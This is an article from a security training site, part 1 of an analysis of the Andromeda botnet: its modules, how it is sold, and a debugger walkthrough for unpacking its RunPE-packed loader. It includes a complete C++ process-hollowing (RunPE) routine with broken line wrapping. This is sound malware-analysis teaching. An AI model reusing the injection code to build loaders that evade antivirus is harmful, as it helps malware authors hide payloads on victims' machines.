



# Andromeda Bot Analysis part 1

JUMP TO


SELECT POST SECTION ▾

44



Tweet

4




Share

69



Share



submit

reddit

47



Like

## Introduction:

Andromeda, also known as Win32/Gamarue, is an HTTP based botnet. It was first spotted in late 2011, and is still at this moment used a lot in herding. It has also been observed that this treat is also dropping other malwares like Zeus, Torpig and Fareit.

This article will shed some light on the

inner working of the last variant of this botnet, how malwares keep changing their structure in order to evade automatic analysis systems, and to frustrate the malware analysts. The loader has both anti-VM and anti-debug features. It will inject into trusted processes to hide itself. It has some persistence techniques. The interaction between its twin injected malicious processes and its communication protocol with the command and control server is encrypted.

Similar to known bots such as Zeus, Andromeda is also a modular, which means it supports a plug-in interface system and can incorporate various modules, such as:

- Keyloggers
- Form grabbers
- SOCKS4 proxy module
- Rootkits

Apart from that, the main code simply consists of a loader, which provides some default features. It can download and execute other executable/DLLs, as well as update and delete itself if needed.

Typically, variants of the Andromeda malware can be bought online for \$300-500 US via an underground forum. Prices vary depending on the version of the botnet, and on how much is the customer willing to spend on the different modules that come with it. The most recent version number I have identified is version 2.09.

# Sales thread:


Here is a screenshot of the command and control administration panel:

Bot ID	IP address	Country	Install date	Last activity	Last task	Bot version	OS version	Status
10000000	192.168.1.1	Ukraine (UA)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000001	192.168.1.2	Saudi Arabia (SA)	10-10-10 10:10	10-10-10 10:10	#1	02.01	Win7	Online
10000002	192.168.1.3	Russia (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000003	192.168.1.4	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000004	192.168.1.5	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000005	192.168.1.6	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000006	192.168.1.7	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000007	192.168.1.8	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000008	192.168.1.9	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000009	192.168.1.10	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000010	192.168.1.11	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000011	192.168.1.12	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000012	192.168.1.13	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000013	192.168.1.14	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000014	192.168.1.15	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000015	192.168.1.16	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000016	192.168.1.17	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000017	192.168.1.18	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000018	192.168.1.19	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online
10000019	192.168.1.20	Russian Federation (RU)	10-10-10 10:10	10-10-10 10:10	#1	02.01	WinXP	Online

The infection vector arrives via a familiar means: from spammed emails with malicious attachments to exploit kits such as *Sweet Orange* or *Blackhole* hosted in hacked websites pushing Andromeda and also from other malwares dropping this threat.

## Tools and Downloads:

1. OllyDBG / IDA Pro / PETools / Process Explorer.
2. Sample and unpacked sample



## Unpacking:

The sample we are analyzing here is

firstly packed with some custom packer. Let's unpack it first to get the original file. In general, you can easily recognize if a file is packed:

- by looking at the import table; the program you will have few imports and particularly if the only imports are LoadLibrary and GetProcAddress ;
- no readable strings and high entropy ;
- a big portion of code is inside the .data section ;
- The program has abnormal section sizes, such as a .text section with a *SizeofRawData* of 0 and *VirtualSize* of nonzero and also the section names themselves may indicate a particular packer.

You could unpack a file simply by tracing the entire unpacking stub until you find a JMP because you know at some point it must transfer execution to the Original Entry Point (OEP), or making a hardware breakpoint at ESP register change (or PUSHAD, POPAD trick), or sometimes using the exceptions generated by the packer.

Of course, unpacking varies depending on the complexity of the packer. Sometimes the algorithm of unpacking is well obfuscated and has many anti-debug and anti-trace tricks. For example, the API has been redirected, the packer uses multithreading, some bytes at the entry point has been stolen, or the PE header has been removed, etc.

In the malware analysis field, there is an approach that works in most of time, PE packers/crypters compress or encrypt the PE sections or some other data using some compression / encryption algorithms like LZMA. Before running the actual malicious code, the packer would need to decompress the compressed code. To do this usually it allocates some space using VirtualAlloc, VirtualAllocEx, or ZwAllocateVirtualMemory. Then it will decompress the data to the allocated memory. We can set breakpoint on these APIs.

Then, the imports are fixed so the malware can use the imported API's. To resolve the import addresses it will use the API' GetProcAddress/LoadLibrary or dynamically with PEB\_LDR\_DATA structure. You will see that GetProcAddress would be called repeatedly in the loop. This loop is used to resolve the entire API's in the DLL. We can set a breakpoint on these APIs as well and bypass the loop to continue debugging.

Let's just load the sample in OllyDBG and BP on VirtualAlloc:



After the BP is hit, run until return (CTRL+F9), then F8, note down the return address which is for me 00390000. This is memory space allocated for the code, which is supposed to be written. Afterwards, scroll down and continue debugging until you see:





Given the pointer to the EAT, you will get inside a loop that parses the EAT to look for GetProcAddress function address. This API will be used alongside with LoadLibrary to resolve dynamically API addresses.


After stepping through this code, you will see several MOV instructions that copy by byte the names of APIs the packer is looking for: *TerminateThread*, *GetCurrentThreadId*, *GetCurrentThread*, *LoadLibraryA*, *CreateProcessA*, *ExitProcess*, *ResumeThread*, *SetThreadContext*, *GetThreadContext*, *WriteProcessMemory*, *VirtualAllocEx*, *ZwUnmapViewOfSection*, *GetModuleHandleA*:

[illegible]

Continue stepping until:

**003907F7 FFD3 CALL EBX ;  
kernel32.VirtualAlloc**

Or just hit F9 (run), you will get the call to VirtualAlloc which will return for me 003A0000. Note down the dwSize, which is 3600. This is the location of where our file will get unpacked. Continue tracing until you see:



After stepping through the whole routine of decompression, you will see the 'MZ' magic appearing in the beginning of our VA. Note down the VA and the size.

After tracing further in the code, you will see the resolution of some APIs. Do these APIs ring a bell?

Indeed, it's a typical RunPE packer more known as "VBInject" or "VBCrypt" in the AV industry. The main difference compared to traditional packers that overwrite their own process' memory is that the packed executable spawns a new process in which it injects the actual malicious PE binary. It may re-launch itself as a new process or lunch a new hallowed version of an innocent application like svchost.exe. The purpose of this technique is to evade AV detection, all RunPE work about the same way:



- Unpack or decrypt the original EXE file in memory.
- Call `CreateProcess` on a target EXE using the `CREATE_SUSPENDED` flag. This maps the executable into memory and it's ready to execute, but the entry point hasn't executed yet.
- Next, Call `GetThreadContext` on the main thread of the newly created process. The returned thread context will have the state of all general-purpose registers. The `EBX` register holds a pointer to the Process Environment Block (PEB), and the `EAX` register holds a pointer to the entry point of the innocent application. In the PEB structure, at an offset of eight bytes, is the base address of the process image.
- Call [NtUnmapViewOfSection](#) to unmap and free up the virtual address space used by the new process,
- Call [VirtualAllocEx](#) to re-allocate the memory in the process' address space to the correct size (the size of the new EXE)
- Call [WriteProcessMemory](#) to write the PE headers and each section of the new EXE (unpacked in Step 1) to the virtual address location they expect to be (calling [VirtualProtectEx](#) to set the protection flags that each section needs).

The loader writes the new base address into the PEB and calls `SetThreadContext` to point `EAX` to the new entry point.

Finally, the loader resumes the main thread of the target process with `ResumeThread` and the windows PE loader will do its magic. The executable is now mapped into memory without ever touching the disk.

If you are interested in how this technique is implemented, here is a C++ version of it:

```
01.  typedef LONG (WINAPI *  
    NtUnmapViewOfSection)  
    (HANDLE ProcessHandle,  
     PVOID BaseAddress);  
02.  class runPE{  
03.  public:  
04.  void run(LPSTR  
    szFilePath, PVOID pFile)  
05.  {  
06.  PIMAGE_DOS_HEADER IDH;  
07.  PIMAGE_NT_HEADERS INH;  
08.  PIMAGE_SECTION_HEADER  
    ISH;  
09.  PROCESS_INFORMATION PI;  
10.  STARTUPINFOA SI;  
11.  PCONTEXT CTX;  
12.  PDWORD dwImageBase;  
13.  NtUnmapViewOfSection  
    xNtUnmapViewOfSection;  
14.  LPVOID pImageBase;  
15.  int Count;  
16.  IDH =  
    PIMAGE_DOS_HEADER(pFile);  
17.  if (IDH->e_magic ==  
    IMAGE_DOS_SIGNATURE)  
18.  {  
19.  INH =  
    PIMAGE_NT_HEADERS(DWORD(p  
    File) + IDH->e_lfanew);  
20.  if (INH->Signature ==  
    IMAGE_NT_SIGNATURE)
```

```
21. {
22.   RtlZeroMemory(&SI,
23.     sizeof(SI));
24.   RtlZeroMemory(&PI,
25.     sizeof(PI));
26.   if
27.     (CreateProcessA(szFilePat
28.       h, NULL, NULL, NULL,
29.       FALSE, CREATE_SUSPENDED,
30.       NULL, NULL, &SI, &PI))
31.   {
32.     CTX =
33.       PCONTEXT(VirtualAlloc(NUL
34.         L, sizeof(CTX),
35.         MEM_COMMIT,
36.         PAGE_READWRITE));
37.     CTX->ContextFlags =
38.       CONTEXT_FULL;
39.     if
40.       (GetThreadContext(PI.hThr
41.         ead, LPCONTEXT(CTX)))
42.     {
43.       ReadProcessMemory(PI.hPro
44.         cess, LPCVOID(CTX->Ebx +
45.           8), LPVOID(&dwImageBase),
46.           4, NULL);
47.       if (DWORD(dwImageBase) ==
48.         INH-
49.         >OptionalHeader.ImageBase
50.         )
51.       {
52.         xNtUnmapViewOfSection =
53.           NtUnmapViewOfSection(GetP
54.             rocAddress(GetModuleHandl
55.               eA("ntdll.dll"),
56.               "NtUnmapViewOfSection"));
57.         xNtUnmapViewOfSection(PI.
58.           hProcess,
59.           PVOID(dwImageBase));
60.       }
61.       pImageBase =
62.         VirtualAllocEx(PI.hProces
63.           s, LPVOID(INH-
64.             >OptionalHeader.ImageBase
65.             ), INH-
66.             >OptionalHeader.SizeOfIma
67.             ge, 0x3000,
68.             PAGE_EXECUTE_READWRITE);
69.       if (pImageBase)
```

```
38. {
39. WriteProcessMemory(PI.hProcess, pImageBase, pFile,
    INH->OptionalHeader.SizeOfHeaders, NULL);
40. for (Count = 0; Count <
    INH->FileHeader.NumberOfSections; Count++)
41. {
42. ISH =
    PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew
    + 248 + (Count * 40));
43. WriteProcessMemory(PI.hProcess,
    LPVOID(DWORD(pImageBase)
    + ISH->VirtualAddress),
    LPVOID(DWORD(pFile) +
    ISH->PointerToRawData),
    ISH->SizeOfRawData,
    NULL);
44. }
45. WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx +
    8), LPVOID(&INH->OptionalHeader.ImageBase
    ), 4, NULL);
46. CTX->Eax =
    DWORD(pImageBase) + INH->OptionalHeader.AddressOf
    EntryPoint;
47. SetThreadContext(PI.hThread, LPCONTEXT(CTX));
48. ResumeThread(PI.hThread);
49. }
50.
51.
52. }
53. }
54. }
55. }
56. VirtualFree(pFile, 0,
    MEM_RELEASE);
57. }
58. };
```

The weaknesses of RunPE should be obvious to anyone: At some point, the loader has to decrypt the executable in the loader's memory space. Furthermore, the original executable will be mapped in the target process' memory space in a readable state; you can easily dump the executable into a file.

Now that you know the correct API functions to break on, you can get to the actual unpacking. Sometimes the malware, to launch a new process, it might call `CreateProcessInternal` instead of `CreateProcess`, or to write to the new section, it might call `ZwWriteVirtualMemory` instead of `WriteProcessMemory` rendering your breakpoint in that API useless.


Hence, you should always break on the `ntdll` functions if it's possible, to make sure the malware doesn't operate on a lower level than you do or another option is to place a BP on `LoadLibraryA` and `GetProcAddress` to know which functions are being used. Additionally, another very common thing between all RunPE malware is the call the `ZwResumeThread` function at the final step, thus putting a BP on it worth trying.

Therefore, you can just place a breakpoint at `ZwResumeThread`, wait until the execution breaks there, attach to the spawned process, set a breakpoint at the entry point of the suspended thread and resume it. The execution then pauses at the entry point and you can dump the process memory using

some debugger plugin like OllyDump or a separate tool. You could see the injection in Process Explorer:

Process Name	Private Bytes	Working Set	Commit Bytes	Parent Process	Company Name
explorer.exe	12,672 K	20,100 K	16,320 K	System	Microsoft Corporation
vmtoolsd.exe	4,632 K	10,320 K	15,596 K	System	VMware, Inc.
csrss.exe	1,864 K	3,684 K	316 K	System	Microsoft Corporation
csrss.exe	1,360 K	1,360 K	1,360 K	System	Microsoft Corporation
Sample.exe	504 K	504 K	504 K	Process Explorer	
Sample.exe	1,892 K	3,144 K	3,144 K	Process Explorer	
PETools.exe	4,428 K	2,360 K	2,360 K	Process Explorer	Underground Informant...
process.exe	8,372 K	11,892 K	2,384 K	Process Explorer	Systematic - www.sysint...

On the other hand, what I will do is just dumping the code out of the packer process after it has been decrypted. Remember VA 003A0000 and size 0x3600? I am using PETools to perform a partial dump:



NEXT: AND...





AUTHOR

Ayoub  
Faouzi

Ayoub Faouzi is interested in computer viruses and reverse engineering. In the first hand, he likes to study PE packers and protectors, and write security tools. In the other hand, he enjoys coding in python and assembly.





0 Comments

InfoSec Institute Resources

 Login ▾ Recommend Share

Sort by Best ▾



Start the discussion...

Be the first to comment.

## ALSO ON INFOSEC INSTITUTE RESOURCES

WHAT'S THIS?

**n00bz CTF Challenge #2: Practical Website Hacking**

1 comment • 3 months ago

**Ralph Schreiber** — Require services of a certified and experienced ethical hacker for your general ethical and specialized ...**The Most Hacker-Active Countries – Part 2**

5 comments • 2 months ago

**Rasa Juzenaite** — Hello King Shapour! Thank you for an interesting idea for the next article ;) This time Iran and Israel were**Incorporating Cloud Security Logs into Open-Source Cloud Monitoring**

1 comment • a month ago

**Monica Lieberman** — Follow path of thousand! s who are earning cash each month by freelancing online... Get ...**Introducing the InfoSec Institute Job Board**

1 comment • 2 months ago

**Monica Lieberman** — Follow path of thousands!who are earning cash each month by freelancing online... Get informed Subscribe Add Disqus to your site Privacy

DISQUS

## About InfoSec

InfoSec Institute is the best source for high quality [information security training](#). We have been training Information Security and IT Professionals since 1998 with a diverse lineup of relevant training courses. In the past 16 years, over 50,000

## Connect with us

Stay up to date with [InfoSec Institute](#) and [Intense School](#) - at [info@infosecinstitute.com](mailto:info@infosecinstitute.com)

 Like 494 Follow @infosecedu

## Join our newsletter

Get the latest news, updates & offers straight to your inbox.

ENTER YOUR EMAIL

SUBSCRIBE

individuals have trusted  
InfoSec Institute for their  
professional development  
needs!

© INFOSEC RESOURCES 2015